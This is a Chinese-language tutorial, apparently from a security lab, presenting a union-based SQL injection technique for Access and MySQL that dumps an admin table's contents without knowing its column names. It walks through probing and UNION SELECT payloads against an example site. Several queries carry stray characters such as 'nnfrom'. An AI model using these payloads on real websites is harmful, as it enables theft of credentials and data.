移位溢註:告別依靠人品的偏移注入
介紹:
在Access資料庫類型注入的時候,我們獲取不到列名(前提是有表名),一般會選擇使用偏移注入,但是這種注入方式往往藉助的是個人的人品,且步驟繁瑣。本文中我們研究了一種新的注入技術讓「偏移注入不在需要人品」。在這裡定義這種注入技術為:「移位溢注技術」。
它適用於ACCESS和MYSQL(任何版本)
正文:
我們先來看看普通的偏移注入步驟:
1.判斷注入點
2.order by 判斷長度
3.判斷表名
4.聯合查詢
5.獲取表中列數:union select 1,2,3,4,..,* from TABLE
6.開始偏移注入:TABLE as a inner join TABLE as b onna.id=b.id
由於步驟6的方法過於需要人品值,且語句繁瑣,因此在這裡,我們研究新的注入技術:
首先來看看步驟6語句的整體意思:
步驟6的語句,表示給TALBE取2個別名,然後分別用別名取查詢TALBE的內容(表a和表b);而on a.id = b.id 這樣的條件是為了滿足語法需求,實際並沒有作用,因為相同內容的表,相同欄位內容一定相同。
這時,我們再回過頭來看步驟5:
由於聯合查詢中select後面添加數字的目的是為了讓聯合查詢返回接結果和網站正常查詢返回的結果的列數一致(不一致資料庫會報錯,頁面無法顯示),且*表示通配符,可以表示整個表格所有列;因此這裡通過數字來佔位,並使用*來替代TABLE中的所有列,使得聯合查詢可以完成,並推算出*的值。
這時候我們繼續研究偏移注入的整體公式方法,發現即使使用多級偏移注入也需要一定的概率(人品值)才可以得到想要的結果,所以我們就嘗試研究新的方法能不能替換這種不固定概率的方法。
現在我們重新整理一下SQL語句,從聯合查詢開始:
1.原union語句:union select 1,2,3,..,p..,n from TABLE
(p=頁面爆出的數字,可能有多個p1,p2..;n=原網站查詢的總列數;TALBE=我們獲得的表名;下面開始就使用上述字母的定義)
2.新語句:
union select 1,2,3,..,p-1,TABLE.*,p+k,..,nnfrom TABLE where 欄位名 = 欄位內容
--在p的位置爆出TALBE表中第一個欄位的內容(其他位置還可能爆出更多內容)
(這裡如果存在已知欄位名可以使用,沒有就不用,一般id這個欄位時存在的,可以使用id = 1來顯示第一行)
union selectn1,2,3,..,p-2,TABLE.*,p+k-1,..,n from TABLE where 欄位名 = 欄位內容
--在p的位置爆出TALBE表中第二個欄位的內容(其他位置還可能爆出更多內容)
union select 1,2,3,..,p-3,TABLE.*,p+k-2,..,nnfrom TABLE where 欄位名 = 欄位內容
--在p的位置爆出TALBE表中第三個欄位的內容(其他位置還可能爆出更多內容)
註:這裡一定是TALBE.*而不是*
3.1 以此類推可以爆出TALBE的每一列內容。
3.2 如果p<k則沒法爆出p+1列至k列的內容,如果n-p<k則無法爆出第1列至k-(n-p)列。
原理:
1.由原語句:union select 1,2,3,..,p..,n-k,* from TABLE 可以得出該聯合查詢的目的是構造和原網站相同列數的查詢結構,使得頁面上可以顯示對應的數字;這條語句相當於是做了兩次查詢並將它們的結果合併,第一次做了select 1,2,3,..,n-k from TALBE ,第二次做了select * from TALBE ,然後將它們的結果合併。
這可以參考mysql的語句:select 1,2,3,4,5,admin.* from admin;
2.只要滿足原理1的要求,保障聯合查詢的結果和原網站查詢的結果列數一致即可;因此可以將TALBE.*向前移動至頁面顯示的數字處來爆出TALBE列中的內容。
這可以參考mysql的語句:
select 1,2,3,4,5,6,7,8,9,10 from newsnwhere id =1 union select 1,2,3,4,5,6,7,admin.* from admin;
select 1,2,3,4,5,6,7,8,9,10 from newsnwhere id =1 union select 1,2,3,admin.*,7,8,9,10 from admin;
註:假設數字4、5在頁面顯示。
由下圖可知,其實數據已近查詢出來,但是頁面沒有顯示,這個是通過平移查詢結果到頁面顯示的數字上去,即可爆出敏感欄位。
例子:
步驟1:判斷注入點是否存在
步驟2:判斷欄位長度:order by 35步驟3:獲得表名(必備條件) and exists(select * from admin)
步驟4:獲取不了列名(當嘗試多個常用欄位名以後,最終還是發現無法獲得欄位名)
步驟5:使用聯合查詢(union select)
步驟6:使用新注入技術方法
(1)獲取admin表的列數:
UNION SELECTn1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,*nfrom admin n --返回錯誤頁面
UNION SELECTn1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,*nfrom admin n --返回錯誤頁面
UNION SELECTn1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,*nfrom admin n --返回錯誤頁面
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,*nfrom admin n --返回錯誤頁面
。。。
UNION SELECTn1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,*nfrom admin n n --返回步驟5頁面,因此admin表的列數為6
(2)由於網頁中包含連續數字,表示可以顯示連續的查詢結果,構造SQL語句查詢前四列第一行。
UNION SELECTn1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35nfrom admin
(3)由第一行第一列內容為1,可以猜測該表有id欄位,因此修改語句獲取其他行。UNION SELECTn1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35nfrom admin where id = 3
總結
在這裡我們命名這種新注入技術為"移位溢注"。由此如果MYSQL小於5.0的情況下所具備的條件和ACCESS一樣,也可以使用此方法注入,如果是MYSQL大於5.0的版本,使用此方法可以省去獲得列名的步驟。
文章研究:米斯特安全攻防實驗室 MST.Lab@gh0stkey @Seagull
推薦閱讀: